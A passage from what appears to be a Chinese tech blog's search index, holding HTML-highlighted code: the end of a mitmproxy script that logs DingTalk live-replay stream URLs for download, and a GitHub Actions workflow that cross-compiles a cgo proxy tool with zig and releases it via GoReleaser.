style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erequest\u003c/span\u003e(flow: http\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eHTTPFlow) \u003cspan style=\"color:#f92672\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eNone\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# if flow.request.pretty_host != \u0026#39;retcode.taobao.com\u0026#39;:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#     return\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e flow\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003erequest\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epath\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003estartswith(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;/r.png\u0026#39;\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    msg \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e flow\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003erequest\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003equery\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;msg\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e msg:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e pattern\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ematch\u003c/span\u003e(msg):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e pattern\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esearch(msg)[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e json\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eloads(data)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eException\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    live_info \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e data\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;liveInfo\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e live_info:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    live_uuid \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e live_info\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;liveUuid\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ctx\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003einfo(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;获取到 liveUuid \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elive_uuid\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    live_url_hls \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e live_info\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;liveUrlHls\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ctx\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003einfo(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;获取到 liveUrlHls \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elive_url_hls\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ctx\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003elog\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003einof(\u003cspan style=\"color:#e6db74\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;请打开网页使用IDM进行下载: \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e{\u003c/span\u003elive_info\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;publicLandingUrl\u0026#39;\u003c/span\u003e)\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e自动化的方案，之后再花时间研究\u003c/p\u003e","title":"钉钉直播回放下载"},{"content":"使用zig在linux上交叉编译cgo 的 github action，此处不做解释了，自己可以看注释进行实验\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 name: build on: push: tags: - \u0026#39;*\u0026#39; jobs: build-rotateproxy: runs-on: ubuntu-18.04 steps: - name: Checkout uses: actions/checkout@v2 - name: Setup Zig uses: goto-bus-stop/setup-zig@v1 with: version: 0.9.1 - name: Setup Golang uses: actions/setup-go@v2 with: go-version: 1.17 - name: Build RotateProxy run: | # download macos sysroot git clone --depth=1 https://github.com/hexops/sdk-macos-12.0.git \u0026#34;$HOME/macos-SDK\u0026#34; # create zig script mkdir -p \u0026#34;$HOME/.bin\u0026#34; export PATH=$PATH:\u0026#34;$HOME/.bin\u0026#34; touch \u0026#34;$HOME/.bin/zcc\u0026#34; \u0026amp;\u0026amp; touch \u0026#34;$HOME/.bin/zxx\u0026#34; chmod +x \u0026#34;$HOME/.bin/zcc\u0026#34; \u0026amp;\u0026amp; chmod +x \u0026#34;$HOME/.bin/zxx\u0026#34; mkdir -p build cd cmd/rotateproxy configs=( \u0026#39;linux amd64 x86_64-linux-musl\u0026#39; \u0026#39;linux 386 i386-linux-musl\u0026#39; \u0026#39;windows amd64 x86_64-windows-gnu\u0026#39; \u0026#39;windows 386 i386-windows-gnu\u0026#39; \u0026#39;darwin amd64 x86_64-macos-gnu\u0026#39; ) IFS=$\u0026#39;\\n\u0026#39; for i in ${configs[@]} do IFS=$\u0026#39; \u0026#39; config=($i) goos=${config[0]} goarch=${config[1]} libc=${config[2]} ext=\u0026#39;\u0026#39; if [ \u0026#34;${goos}\u0026#34; = \u0026#34;windows\u0026#34; ];then ext=\u0026#39;.exe\u0026#39; fi # ref: https://dev.to/kristoff/zig-makes-go-cross-compilation-just-work-29ho echo \u0026#34;goos: ${goos} goarch: ${goarch} libc: ${libc}\u0026#34; echo \u0026#39;#!/bin/sh\u0026#39; \u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34; echo \u0026#39;#!/bin/sh\u0026#39; \u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34; # ref: https://github.com/ziglang/zig/issues/10660 # ref: https://github.com/ziglang/zig/issues/1349 # ref: https://github.com/ziglang/zig/issues/10299#issuecomment-989153750 if [ \u0026#34;${goos}\u0026#34; = \u0026#34;darwin\u0026#34; ];then # zig 0.10.0关于sysroot的行为有变更，参见 https://github.com/ziglang/zig/issues/10790#issuecomment-1030712395 echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig cc -target \u0026#39;${libc}\u0026#39; --sysroot=\u0026#34;$HOME/macos-SDK/root\u0026#34; -I\u0026#34;$HOME/macos-SDK/root/usr/include\u0026#34; -L\u0026#34;$HOME/macos-SDK/root/usr/lib\u0026#34; -F\u0026#34;$HOME/macos-SDK/root/System/Library/Frameworks\u0026#34; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34; echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig c++ -target \u0026#39;${libc}\u0026#39; --sysroot=\u0026#34;$HOME/macos-SDK/root\u0026#34; -I\u0026#34;$HOME/macos-SDK/root/usr/include\u0026#34; -L\u0026#34;$HOME/macos-SDK/root/usr/lib\u0026#34; -F\u0026#34;$HOME/macos-SDK/root/System/Library/Frameworks\u0026#34; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34; # zig cc 调用clang，clang更新后默认加了一些参数，见 https://github.com/golang/go/issues/38876 https://stackoverflow.com/questions/42074035 # 经过测试最基本需要 -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-availability export CGO_CPPFLAGS=\u0026#34;-Wno-error -Wno-nullability-completeness -Wno-expansion-to-defined -Wno-builtin-requires-header -Wno-availability\u0026#34; else echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig cc -target \u0026#39;${libc}\u0026#39; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zcc\u0026#34; echo \u0026#39;ZIG_LOCAL_CACHE_DIR=\u0026#34;$HOME/tmp\u0026#34; zig c++ -target \u0026#39;${libc}\u0026#39; $@\u0026#39; \u0026gt;\u0026gt; \u0026#34;$HOME/.bin/zxx\u0026#34; fi cat \u0026#34;$HOME/.bin/zxx\u0026#34; cat \u0026#34;$HOME/.bin/zcc\u0026#34; CGO_ENABLED=1 GOOS=\u0026#34;${goos}\u0026#34; GOARCH=\u0026#34;${goarch}\u0026#34; CC=\u0026#34;zcc\u0026#34; CXX=\u0026#34;zxx\u0026#34; go build -o \u0026#34;../../build/rotateproxy-${goos}-${goarch}${ext}\u0026#34; -trimpath -ldflags=\u0026#34;-linkmode=external -extldflags=-static -s -w\u0026#34; done - name: Run GoReleaser uses: goreleaser/goreleaser-action@v2 with: version: latest args: release --rm-dist env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ","permalink":"https://www.hacktech.cn/post/2023/02/cgo-crosscompile-with-zig-on-linux/","summary":"\u003cp\u003e使用zig在linux上交叉编译cgo 的 github action，此处不做解释了，自己可以看注释进行实验\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e68\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e69\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e70\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e71\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e72\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e73\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e74\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e75\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e76\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e77\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e78\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e79\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e80\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eon\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003epush\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etags\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan 